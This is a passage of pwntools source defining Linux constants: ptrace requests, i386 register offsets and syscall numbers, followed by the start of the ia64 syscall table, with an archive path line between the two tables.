Constant('POSIX_MADV_NORMAL',0x0) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) EBX = Constant('EBX',0) ECX = Constant('ECX',1) EDX = Constant('EDX',2) ESI = Constant('ESI',3) EDI = Constant('EDI',4) EBP = Constant('EBP',5) EAX = Constant('EAX',6) DS = Constant('DS',7) ES = Constant('ES',8) FS = Constant('FS',9) GS = Constant('GS',10) ORIG_EAX = Constant('ORIG_EAX',11) EIP = Constant('EIP',12) CS = Constant('CS',13) EFL = Constant('EFL',14) UESP = Constant('UESP',15) SS = Constant('SS',16) FRAME_SIZE = Constant('FRAME_SIZE',17) PTRACE_GETREGS = Constant('PTRACE_GETREGS',12) PTRACE_SETREGS = Constant('PTRACE_SETREGS',13) PTRACE_GETFPREGS = Constant('PTRACE_GETFPREGS',14) PTRACE_SETFPREGS = Constant('PTRACE_SETFPREGS',15) PTRACE_GETFPXREGS = Constant('PTRACE_GETFPXREGS',18) PTRACE_SETFPXREGS = Constant('PTRACE_SETFPXREGS',19) PTRACE_SETOPTIONS = Constant('PTRACE_SETOPTIONS',21) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) SYS_accept4 = Constant('SYS_accept4',364) SYS_access = Constant('SYS_access',33) SYS_acct = Constant('SYS_acct',51) SYS_add_key = Constant('SYS_add_key',286) SYS_adjtimex = Constant('SYS_adjtimex',124) SYS_afs_syscall = Constant('SYS_afs_syscall',137) SYS_alarm = Constant('SYS_alarm',27) SYS_bdflush = Constant('SYS_bdflush',134) SYS_bind = Constant('SYS_bind',361) SYS_bpf = Constant('SYS_bpf',357) SYS_break = Constant('SYS_break',17) SYS_brk = Constant('SYS_brk',45) SYS_capget = Constant('SYS_capget',184) SYS_capset = Constant('SYS_capset',185) SYS_chdir = Constant('SYS_chdir',12) SYS_chmod = Constant('SYS_chmod',15) SYS_chown = Constant('SYS_chown',182) SYS_chown32 = Constant('SYS_chown32',212) SYS_chroot = Constant('SYS_chroot',61) SYS_clock_adjtime = Constant('SYS_clock_adjtime',343) SYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',405) SYS_clock_getres = Constant('SYS_clock_getres',(259+7)) SYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',406) SYS_clock_gettime = Constant('SYS_clock_gettime',(259+6)) SYS_clock_gettime64 = Constant('SYS_clock_gettime64',403) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(259+8)) SYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',407) SYS_clock_settime = Constant('SYS_clock_settime',(259+5)) SYS_clock_settime64 = Constant('SYS_clock_settime64',404) SYS_clone = Constant('SYS_clone',120) SYS_clone3 = Constant('SYS_clone3',435) SYS_close = Constant('SYS_close',6) SYS_connect = Constant('SYS_connect',362) SYS_copy_file_range = Constant('SYS_copy_file_range',377) SYS_creat = Constant('SYS_creat',8) SYS_create_module = Constant('SYS_create_module',127) SYS_delete_module = Constant('SYS_delete_module',129) SYS_dup = Constant('SYS_dup',41) SYS_dup2 = Constant('SYS_dup2',63) SYS_dup3 = Constant('SYS_dup3',330) SYS_epoll_create = Constant('SYS_epoll_create',254) SYS_epoll_create1 = Constant('SYS_epoll_create1',329) SYS_epoll_ctl = Constant('SYS_epoll_ctl',255) SYS_epoll_pwait = Constant('SYS_epoll_pwait',319) SYS_epoll_wait = Constant('SYS_epoll_wait',256) SYS_eventfd = Constant('SYS_eventfd',323) SYS_eventfd2 = Constant('SYS_eventfd2',328) SYS_execve = Constant('SYS_execve',11) SYS_execveat = Constant('SYS_execveat',358) SYS_exit = Constant('SYS_exit',1) SYS_exit_group = Constant('SYS_exit_group',252) SYS_faccessat = Constant('SYS_faccessat',307) SYS_fadvise64 = Constant('SYS_fadvise64',250) SYS_fadvise64_64 = Constant('SYS_fadvise64_64',272) SYS_fallocate = Constant('SYS_fallocate',324) SYS_fanotify_init = Constant('SYS_fanotify_init',338) SYS_fanotify_mark = Constant('SYS_fanotify_mark',339) SYS_fchdir = Constant('SYS_fchdir',133) SYS_fchmod = Constant('SYS_fchmod',94) SYS_fchmodat = Constant('SYS_fchmodat',306) SYS_fchown = Constant('SYS_fchown',95) SYS_fchown32 = Constant('SYS_fchown32',207) SYS_fchownat = Constant('SYS_fchownat',298) SYS_fcntl = Constant('SYS_fcntl',55) SYS_fcntl64 = Constant('SYS_fcntl64',221) SYS_fdatasync = Constant('SYS_fdatasync',148) SYS_fgetxattr = Constant('SYS_fgetxattr',231) SYS_finit_module = Constant('SYS_finit_module',350) SYS_flistxattr = Constant('SYS_flistxattr',234) SYS_flock = Constant('SYS_flock',143) SYS_fork = Constant('SYS_fork',2) SYS_fremovexattr = Constant('SYS_fremovexattr',237) SYS_fsconfig = Constant('SYS_fsconfig',431) SYS_fsetxattr = Constant('SYS_fsetxattr',228) SYS_fsmount = Constant('SYS_fsmount',432) SYS_fsopen = Constant('SYS_fsopen',430) SYS_fspick = Constant('SYS_fspick',433) SYS_fstat = Constant('SYS_fstat',108) SYS_fstat64 = Constant('SYS_fstat64',197) SYS_fstatat64 = Constant('SYS_fstatat64',300) SYS_fstatfs = Constant('SYS_fstatfs',100) SYS_fstatfs64 = Constant('SYS_fstatfs64',269) SYS_fsync = Constant('SYS_fsync',118) SYS_ftime = Constant('SYS_ftime',35) SYS_ftruncate = Constant('SYS_ftruncate',93) SYS_ftruncate64 = Constant('SYS_ftruncate64',194) SYS_futex = Constant('SYS_futex',240) SYS_futex_time64 = Constant('SYS_futex_time64',422) SYS_futimesat = Constant('SYS_futimesat',299) SYS_getcpu = Constant('SYS_getcpu',318) SYS_getcwd = Constant('SYS_getcwd',183) SYS_getdents = Constant('SYS_getdents',141) SYS_getdents64 = Constant('SYS_getdents64',220) SYS_getegid = Constant('SYS_getegid',50) SYS_getegid32 = Constant('SYS_getegid32',202) SYS_geteuid = Constant('SYS_geteuid',49) SYS_geteuid32 = Constant('SYS_geteuid32',201) SYS_getgid = Constant('SYS_getgid',47) SYS_getgid32 = Constant('SYS_getgid32',200) SYS_getgroups = Constant('SYS_getgroups',80) SYS_getgroups32 = Constant('SYS_getgroups32',205) SYS_getitimer = Constant('SYS_getitimer',105) SYS_get_kernel_syms = Constant('SYS_get_kernel_syms',130) SYS_get_mempolicy = Constant('SYS_get_mempolicy',275) SYS_getpeername = Constant('SYS_getpeername',368) SYS_getpgid = Constant('SYS_getpgid',132) SYS_getpgrp = Constant('SYS_getpgrp',65) SYS_getpid = Constant('SYS_getpid',20) SYS_getpmsg = Constant('SYS_getpmsg',188) SYS_getppid = Constant('SYS_getppid',64) SYS_getpriority = Constant('SYS_getpriority',96) SYS_getrandom = Constant('SYS_getrandom',355) SYS_getresgid = Constant('SYS_getresgid',171) SYS_getresgid32 = Constant('SYS_getresgid32',211) SYS_getresuid = Constant('SYS_getresuid',165) SYS_getresuid32 = Constant('SYS_getresuid32',209) SYS_getrlimit = Constant('SYS_getrlimit',76) SYS_get_robust_list = Constant('SYS_get_robust_list',312) SYS_getrusage = Constant('SYS_getrusage',77) SYS_getsid = Constant('SYS_getsid',147) SYS_getsockname = Constant('SYS_getsockname',367) SYS_getsockopt = Constant('SYS_getsockopt',365) SYS_get_thread_area = Constant('SYS_get_thread_area',244) SYS_gettid = Constant('SYS_gettid',224) SYS_gettimeofday = Constant('SYS_gettimeofday',78) SYS_getuid = Constant('SYS_getuid',24) SYS_getuid32 = Constant('SYS_getuid32',199) SYS_getxattr = Constant('SYS_getxattr',229) SYS_gtty = Constant('SYS_gtty',32) SYS_ia32_arch_prctl = Constant('SYS_ia32_arch_prctl',384) SYS_ia32_io_pgetevents = Constant('SYS_ia32_io_pgetevents',385) SYS_ia32_rseq = Constant('SYS_ia32_rseq',386) SYS_ia32_statx = Constant('SYS_ia32_statx',383) SYS_idle = Constant('SYS_idle',112) SYS_init_module = Constant('SYS_init_module',128) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',292) SYS_inotify_init = Constant('SYS_inotify_init',291) SYS_inotify_init1 = Constant('SYS_inotify_init1',332) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',293) SYS_io_cancel = Constant('SYS_io_cancel',249) SYS_ioctl = Constant('SYS_ioctl',54) SYS_io_destroy = Constant('SYS_io_destroy',246) SYS_io_getevents = Constant('SYS_io_getevents',247) SYS_ioperm = Constant('SYS_ioperm',101) SYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',416) SYS_iopl = Constant('SYS_iopl',110) SYS_ioprio_get = Constant('SYS_ioprio_get',290) SYS_ioprio_set = Constant('SYS_ioprio_set',289) SYS_io_setup = Constant('SYS_io_setup',245) SYS_io_submit = Constant('SYS_io_submit',248) SYS_io_uring_enter = Constant('SYS_io_uring_enter',426) SYS_io_uring_register = Constant('SYS_io_uring_register',427) SYS_io_uring_setup = Constant('SYS_io_uring_setup',425) SYS_ipc = Constant('SYS_ipc',117) SYS_kcmp = Constant('SYS_kcmp',349) SYS_keyctl = Constant('SYS_keyctl',288) SYS_kill = Constant('SYS_kill',37) SYS_lchown = Constant('SYS_lchown',16) SYS_lchown32 = Constant('SYS_lchown32',198) SYS_lgetxattr = Constant('SYS_lgetxattr',230) SYS_link = Constant('SYS_link',9) SYS_linkat = Constant('SYS_linkat',303) SYS_listen = Constant('SYS_listen',363) SYS_listxattr = Constant('SYS_listxattr',232) SYS_llistxattr = Constant('SYS_llistxattr',233) SYS__llseek = Constant('SYS__llseek',140) SYS_lock = Constant('SYS_lock',53) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',253) SYS_lremovexattr = Constant('SYS_lremovexattr',236) SYS_lseek = Constant('SYS_lseek',19) SYS_lsetxattr = Constant('SYS_lsetxattr',227) SYS_lstat = Constant('SYS_lstat',107) SYS_lstat64 = Constant('SYS_lstat64',196) SYS_madvise = Constant('SYS_madvise',219) SYS_madvise1 = Constant('SYS_madvise1',219) SYS_mbind = Constant('SYS_mbind',274) SYS_membarrier = Constant('SYS_membarrier',375) SYS_memfd_create = Constant('SYS_memfd_create',356) SYS_migrate_pages = Constant('SYS_migrate_pages',294) SYS_mincore = Constant('SYS_mincore',218) SYS_mkdir = Constant('SYS_mkdir',39) SYS_mkdirat = Constant('SYS_mkdirat',296) SYS_mknod = Constant('SYS_mknod',14) SYS_mknodat = Constant('SYS_mknodat',297) SYS_mlock = Constant('SYS_mlock',150) SYS_mlock2 = Constant('SYS_mlock2',376) SYS_mlockall = Constant('SYS_mlockall',152) SYS_mmap = Constant('SYS_mmap',90) SYS_mmap2 = Constant('SYS_mmap2',192) SYS_modify_ldt = Constant('SYS_modify_ldt',123) SYS_mount = Constant('SYS_mount',21) SYS_move_mount = Constant('SYS_move_mount',429) SYS_move_pages = Constant('SYS_move_pages',317) SYS_mprotect = Constant('SYS_mprotect',125) SYS_mpx = Constant('SYS_mpx',56) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',(277+5)) SYS_mq_notify = Constant('SYS_mq_notify',(277+4)) SYS_mq_open = Constant('SYS_mq_open',277) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',(277+3)) SYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',419) SYS_mq_timedsend = Constant('SYS_mq_timedsend',(277+2)) SYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',418) SYS_mq_unlink = Constant('SYS_mq_unlink',(277+1)) SYS_mremap = Constant('SYS_mremap',163) SYS_msgctl = Constant('SYS_msgctl',402) SYS_msgget = Constant('SYS_msgget',399) SYS_msgrcv = Constant('SYS_msgrcv',401) SYS_msgsnd = Constant('SYS_msgsnd',400) SYS_msync = Constant('SYS_msync',144) SYS_munlock = Constant('SYS_munlock',151) SYS_munlockall = Constant('SYS_munlockall',153) SYS_munmap = Constant('SYS_munmap',91) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',341) SYS_nanosleep = Constant('SYS_nanosleep',162) SYS__newselect = Constant('SYS__newselect',142) SYS_nfsservctl = Constant('SYS_nfsservctl',169) SYS_nice = Constant('SYS_nice',34) SYS_oldfstat = Constant('SYS_oldfstat',28) SYS_oldlstat = Constant('SYS_oldlstat',84) SYS_oldolduname = Constant('SYS_oldolduname',59) SYS_oldstat = Constant('SYS_oldstat',18) SYS_olduname = Constant('SYS_olduname',109) SYS_open = Constant('SYS_open',5) SYS_openat = Constant('SYS_openat',295) SYS_openat2 = Constant('SYS_openat2',437) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',342) SYS_open_tree = Constant('SYS_open_tree',428) SYS_pause = Constant('SYS_pause',29) SYS_perf_event_open = Constant('SYS_perf_event_open',336) SYS_personality = Constant('SYS_personality',136) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438) SYS_pidfd_open = Constant('SYS_pidfd_open',434) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424) SYS_pipe = Constant('SYS_pipe',42) SYS_pipe2 = Constant('SYS_pipe2',331) SYS_pivot_root = Constant('SYS_pivot_root',217) SYS_pkey_alloc = Constant('SYS_pkey_alloc',381) SYS_pkey_free = Constant('SYS_pkey_free',382) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',380) SYS_poll = Constant('SYS_poll',168) SYS_ppoll = Constant('SYS_ppoll',309) SYS_ppoll_time64 = Constant('SYS_ppoll_time64',414) SYS_prctl = Constant('SYS_prctl',172) SYS_pread = Constant('SYS_pread',180) SYS_preadv = Constant('SYS_preadv',333) SYS_preadv2 = Constant('SYS_preadv2',378) SYS_prlimit64 = Constant('SYS_prlimit64',340) SYS_process_vm_readv = Constant('SYS_process_vm_readv',347) SYS_process_vm_writev = Constant('SYS_process_vm_writev',348) SYS_prof = Constant('SYS_prof',44) SYS_profil = Constant('SYS_profil',98) SYS_pselect6 = Constant('SYS_pselect6',308) SYS_pselect6_time64 = Constant('SYS_pselect6_time64',413) SYS_ptrace = Constant('SYS_ptrace',26) SYS_putpmsg = Constant('SYS_putpmsg',189) SYS_pwrite = Constant('SYS_pwrite',181) SYS_pwritev = Constant('SYS_pwritev',334) SYS_pwritev2 = Constant('SYS_pwritev2',379) SYS_query_module = Constant('SYS_query_module',167) SYS_quotactl = Constant('SYS_quotactl',131) SYS_read = Constant('SYS_read',3) SYS_readahead = Constant('SYS_readahead',225) SYS_readdir = Constant('SYS_readdir',89) SYS_readlink = Constant('SYS_readlink',85) SYS_readlinkat = Constant('SYS_readlinkat',305) SYS_readv = Constant('SYS_readv',145) SYS_reboot = Constant('SYS_reboot',88) SYS_recvfrom = Constant('SYS_recvfrom',371) SYS_recvmmsg = Constant('SYS_recvmmsg',337) SYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',417) SYS_recvmsg = Constant('SYS_recvmsg',372) SYS_remap_file_pages = Constant('SYS_remap_file_pages',257) SYS_removexattr = Constant('SYS_removexattr',235) SYS_rename = Constant('SYS_rename',38) SYS_renameat = Constant('SYS_renameat',302) SYS_renameat2 = Constant('SYS_renameat2',353) SYS_request_key = Constant('SYS_request_key',287) SYS_rmdir = Constant('SYS_rmdir',40) SYS_rt_sigaction = Constant('SYS_rt_sigaction',174) SYS_rt_sigpending = Constant('SYS_rt_sigpending',176) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',175) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',178) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',173) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',179) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',177) SYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',421) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',335) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',242) SYS_sched_getattr = Constant('SYS_sched_getattr',352) SYS_sched_getparam = Constant('SYS_sched_getparam',155) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',159) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',160) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',157) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',161) SYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',423) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',241) SYS_sched_setattr = Constant('SYS_sched_setattr',351) SYS_sched_setparam = Constant('SYS_sched_setparam',154) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',156) SYS_sched_yield = Constant('SYS_sched_yield',158) SYS_seccomp = Constant('SYS_seccomp',354) SYS_select = Constant('SYS_select',82) SYS_semctl = Constant('SYS_semctl',394) SYS_semget = Constant('SYS_semget',393) SYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',420) SYS_sendfile = Constant('SYS_sendfile',187) SYS_sendfile64 = Constant('SYS_sendfile64',239) SYS_sendmmsg = Constant('SYS_sendmmsg',345) SYS_sendmsg = Constant('SYS_sendmsg',370) SYS_sendto = Constant('SYS_sendto',369) SYS_setdomainname = Constant('SYS_setdomainname',121) SYS_setfsgid = Constant('SYS_setfsgid',139) SYS_setfsgid32 = Constant('SYS_setfsgid32',216) SYS_setfsuid = Constant('SYS_setfsuid',138) SYS_setfsuid32 = Constant('SYS_setfsuid32',215) SYS_setgid = Constant('SYS_setgid',46) SYS_setgid32 = Constant('SYS_setgid32',214) SYS_setgroups = Constant('SYS_setgroups',81) SYS_setgroups32 = Constant('SYS_setgroups32',206) SYS_sethostname = Constant('SYS_sethostname',74) SYS_setitimer = Constant('SYS_setitimer',104) SYS_set_mempolicy = Constant('SYS_set_mempolicy',276) SYS_setns = Constant('SYS_setns',346) SYS_setpgid = Constant('SYS_setpgid',57) SYS_setpriority = Constant('SYS_setpriority',97) SYS_setregid = Constant('SYS_setregid',71) SYS_setregid32 = Constant('SYS_setregid32',204) SYS_setresgid = Constant('SYS_setresgid',170) SYS_setresgid32 = Constant('SYS_setresgid32',210) SYS_setresuid = Constant('SYS_setresuid',164) SYS_setresuid32 = Constant('SYS_setresuid32',208) SYS_setreuid = Constant('SYS_setreuid',70) SYS_setreuid32 = Constant('SYS_setreuid32',203) SYS_setrlimit = Constant('SYS_setrlimit',75) SYS_set_robust_list = Constant('SYS_set_robust_list',311) SYS_setsid = Constant('SYS_setsid',66) SYS_setsockopt = Constant('SYS_setsockopt',366) SYS_set_thread_area = Constant('SYS_set_thread_area',243) SYS_set_tid_address = Constant('SYS_set_tid_address',258) SYS_settimeofday = Constant('SYS_settimeofday',79) SYS_setuid = Constant('SYS_setuid',23) SYS_setuid32 = Constant('SYS_setuid32',213) SYS_setxattr = Constant('SYS_setxattr',226) SYS_sgetmask = Constant('SYS_sgetmask',68) SYS_shmat = Constant('SYS_shmat',397) SYS_shmctl = Constant('SYS_shmctl',396) SYS_shmdt = Constant('SYS_shmdt',398) SYS_shmget = Constant('SYS_shmget',395) SYS_shutdown = Constant('SYS_shutdown',373) SYS_sigaction = Constant('SYS_sigaction',67) SYS_sigaltstack = Constant('SYS_sigaltstack',186) SYS_signal = Constant('SYS_signal',48) SYS_signalfd = Constant('SYS_signalfd',321) SYS_signalfd4 = Constant('SYS_signalfd4',327) SYS_sigpending = Constant('SYS_sigpending',73) SYS_sigprocmask = Constant('SYS_sigprocmask',126) SYS_sigreturn = Constant('SYS_sigreturn',119) SYS_sigsuspend = Constant('SYS_sigsuspend',72) SYS_socket = Constant('SYS_socket',359) SYS_socketcall = Constant('SYS_socketcall',102) SYS_socketpair = Constant('SYS_socketpair',360) SYS_splice = Constant('SYS_splice',313) SYS_ssetmask = Constant('SYS_ssetmask',69) SYS_stat = Constant('SYS_stat',106) SYS_stat64 = Constant('SYS_stat64',195) SYS_statfs = Constant('SYS_statfs',99) SYS_statfs64 = Constant('SYS_statfs64',268) SYS_stime = Constant('SYS_stime',25) SYS_stty = Constant('SYS_stty',31) SYS_swapoff = Constant('SYS_swapoff',115) SYS_swapon = Constant('SYS_swapon',87) SYS_symlink = Constant('SYS_symlink',83) SYS_symlinkat = Constant('SYS_symlinkat',304) SYS_sync = Constant('SYS_sync',36) SYS_sync_file_range = Constant('SYS_sync_file_range',314) SYS_syncfs = Constant('SYS_syncfs',344) SYS__sysctl = Constant('SYS__sysctl',149) SYS_sysfs = Constant('SYS_sysfs',135) SYS_sysinfo = Constant('SYS_sysinfo',116) SYS_sys_kexec_load = Constant('SYS_sys_kexec_load',283) SYS_syslog = Constant('SYS_syslog',103) SYS_tee = Constant('SYS_tee',315) SYS_tgkill = Constant('SYS_tgkill',270) SYS_time = Constant('SYS_time',13) SYS_timer_create = Constant('SYS_timer_create',259) SYS_timer_delete = Constant('SYS_timer_delete',(259+4)) SYS_timerfd = Constant('SYS_timerfd',322) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',326) SYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',410) SYS_timerfd_settime = Constant('SYS_timerfd_settime',325) SYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',411) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(259+3)) SYS_timer_gettime = Constant('SYS_timer_gettime',(259+2)) SYS_timer_gettime64 = Constant('SYS_timer_gettime64',408) SYS_timer_settime = Constant('SYS_timer_settime',(259+1)) SYS_timer_settime64 = Constant('SYS_timer_settime64',409) SYS_times = Constant('SYS_times',43) SYS_tkill = Constant('SYS_tkill',238) SYS_truncate = Constant('SYS_truncate',92) SYS_truncate64 = Constant('SYS_truncate64',193) SYS_ugetrlimit = Constant('SYS_ugetrlimit',191) SYS_ulimit = Constant('SYS_ulimit',58) SYS_umask = Constant('SYS_umask',60) SYS_umount = Constant('SYS_umount',22) SYS_umount2 = Constant('SYS_umount2',52) SYS_uname = Constant('SYS_uname',122) SYS_unlink = Constant('SYS_unlink',10) SYS_unlinkat = Constant('SYS_unlinkat',301) SYS_unshare = Constant('SYS_unshare',310) SYS_uselib = Constant('SYS_uselib',86) SYS_userfaultfd = Constant('SYS_userfaultfd',374) SYS_ustat = Constant('SYS_ustat',62) SYS_utime = Constant('SYS_utime',30) SYS_utimensat = Constant('SYS_utimensat',320) SYS_utimensat_time64 = Constant('SYS_utimensat_time64',412) SYS_utimes = Constant('SYS_utimes',271) SYS_vfork = Constant('SYS_vfork',190) SYS_vhangup = Constant('SYS_vhangup',111) SYS_vm86 = Constant('SYS_vm86',166) SYS_vm86old = Constant('SYS_vm86old',113) SYS_vmsplice = Constant('SYS_vmsplice',316) SYS_vserver = Constant('SYS_vserver',273) SYS_wait4 = Constant('SYS_wait4',114) SYS_waitid = Constant('SYS_waitid',284) SYS_waitpid = Constant('SYS_waitpid',7) SYS_write = Constant('SYS_write',4) SYS_writev = Constant('SYS_writev',146) SYS_socketcall_socket = Constant('SYS_socketcall_socket',1) SYS_socketcall_bind = Constant('SYS_socketcall_bind',2) SYS_socketcall_connect = Constant('SYS_socketcall_connect',3) SYS_socketcall_listen = Constant('SYS_socketcall_listen',4) SYS_socketcall_accept = Constant('SYS_socketcall_accept',5) SYS_socketcall_getsockname = Constant('SYS_socketcall_getsockname',6) SYS_socketcall_getpeername = Constant('SYS_socketcall_getpeername',7) SYS_socketcall_socketpair = Constant('SYS_socketcall_socketpair',8) SYS_socketcall_send = Constant('SYS_socketcall_send',9) SYS_socketcall_recv = Constant('SYS_socketcall_recv',10) SYS_socketcall_sendto = Constant('SYS_socketcall_sendto',11) SYS_socketcall_recvfrom = Constant('SYS_socketcall_recvfrom',12) SYS_socketcall_shutdown = Constant('SYS_socketcall_shutdown',13) SYS_socketcall_setsockopt = Constant('SYS_socketcall_setsockopt',14) SYS_socketcall_getsockopt = Constant('SYS_socketcall_getsockopt',15) SYS_socketcall_sendmsg = Constant('SYS_socketcall_sendmsg',16) SYS_socketcall_recvmsg = Constant('SYS_socketcall_recvmsg',17) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/ia64.py000066400000000000000000002116111507273764500237670ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __NR_Linux = Constant('__NR_Linux',1024) __NR_ni_syscall = Constant('__NR_ni_syscall',(1024 + 0)) __NR_exit = Constant('__NR_exit',(1024 + 1)) __NR_read = Constant('__NR_read',(1024 + 2)) __NR_write = Constant('__NR_write',(1024 + 3)) __NR_open = Constant('__NR_open',(1024 + 4)) __NR_close = Constant('__NR_close',(1024 + 5)) __NR_creat = Constant('__NR_creat',(1024 + 6)) __NR_link = Constant('__NR_link',(1024 + 7)) __NR_unlink = Constant('__NR_unlink',(1024 + 8)) __NR_execve = Constant('__NR_execve',(1024 + 9)) __NR_chdir = Constant('__NR_chdir',(1024 + 10)) __NR_fchdir = Constant('__NR_fchdir',(1024 + 11)) __NR_utimes = Constant('__NR_utimes',(1024 + 12)) __NR_mknod = Constant('__NR_mknod',(1024 + 13)) __NR_chmod = Constant('__NR_chmod',(1024 + 14)) __NR_chown = Constant('__NR_chown',(1024 + 15)) __NR_lseek = Constant('__NR_lseek',(1024 + 16)) __NR_getpid = Constant('__NR_getpid',(1024 + 17)) __NR_getppid = Constant('__NR_getppid',(1024 + 18)) __NR_mount = Constant('__NR_mount',(1024 + 19)) __NR_umount2 = Constant('__NR_umount2',(1024 + 20)) __NR_setuid = Constant('__NR_setuid',(1024 + 21)) __NR_getuid = Constant('__NR_getuid',(1024 + 22)) __NR_geteuid = Constant('__NR_geteuid',(1024 + 23)) __NR_ptrace = Constant('__NR_ptrace',(1024 + 24)) __NR_access = Constant('__NR_access',(1024 + 25)) __NR_sync = Constant('__NR_sync',(1024 + 26)) __NR_fsync = Constant('__NR_fsync',(1024 + 27)) __NR_fdatasync = Constant('__NR_fdatasync',(1024 + 28)) __NR_kill = Constant('__NR_kill',(1024 + 29)) __NR_rename = Constant('__NR_rename',(1024 + 30)) __NR_mkdir = Constant('__NR_mkdir',(1024 + 31)) __NR_rmdir = Constant('__NR_rmdir',(1024 + 32)) __NR_dup = Constant('__NR_dup',(1024 + 33)) __NR_pipe = Constant('__NR_pipe',(1024 + 34)) __NR_times = Constant('__NR_times',(1024 + 35)) __NR_brk = Constant('__NR_brk',(1024 + 36)) __NR_setgid = Constant('__NR_setgid',(1024 + 37)) __NR_getgid = Constant('__NR_getgid',(1024 + 38)) __NR_getegid = Constant('__NR_getegid',(1024 + 39)) __NR_acct = Constant('__NR_acct',(1024 + 40)) __NR_ioctl = Constant('__NR_ioctl',(1024 + 41)) __NR_fcntl = Constant('__NR_fcntl',(1024 + 42)) __NR_umask = Constant('__NR_umask',(1024 + 43)) __NR_chroot = Constant('__NR_chroot',(1024 + 44)) 